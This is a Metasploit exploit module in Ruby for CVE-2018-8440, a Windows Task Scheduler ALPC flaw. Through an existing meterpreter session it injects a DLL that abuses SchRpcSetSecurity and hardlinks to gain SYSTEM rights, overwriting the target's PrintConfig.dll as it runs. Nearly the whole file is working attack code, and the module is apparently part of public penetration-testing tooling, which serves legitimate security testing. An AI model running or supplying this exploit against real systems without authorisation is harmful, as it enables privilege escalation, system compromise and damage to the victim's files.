##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation',
        'Description' => %q{
          On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented
          by the task scheduler service can be used to write arbitrary DACLs to `.job` files located
          in `c:\windows\tasks` because the scheduler does not use impersonation when checking this
          location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be
          created to a file the user has read access to. After creating a hardlink, the vulnerability
          can be triggered to set the DACL on the linked file.

          WARNING:
          The PrintConfig.dll (%windir%\system32\driverstor\filerepository\prnms003*) on the target host
          will be overwritten when the exploit runs.

          This module has been tested against Windows 10 Pro x64.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'SandboxEscaper', # Original discovery and PoC
          'bwatters-r7',          # msf module
          'asoto-r7',             # msf module
          'Jacob Robles'          # msf module
        ],
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows 10 x64', { 'Arch' => ARCH_X64 }]
        ],
        'References' => [
          ['CVE', '2018-8440'],
          ['URL', 'https://github.com/SandboxEscaper/randomrepo/'],
        ],
        'Notes' => {
          # Exploit overwrites PrintConfig.dll, which makes it unusable.
          'Stability' => [ OS_RESOURCE_LOSS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DisclosureDate' => '2018-08-27',
        'DefaultTarget' => 0
      )
    )
  end

  def validate_active_host
    sysinfo['Computer']
    true
  rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e
    elog(e)
    false
  end

  def validate_target
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end

    version = get_version_info
    if version.xp_or_2003? && version.workstation?
      fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
    end
  end

  def exploit
    unless session.type == 'meterpreter'
      fail_with(Failure::None, 'Only meterpreter sessions are supported')
    end

    print_status('Checking target...')
    unless validate_active_host
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end

    validate_target

    print_status('Target looks good... attempting the LPE exploit')
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll'),
      generate_payload_dll
    )
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    print_error(e.message)
  end
end
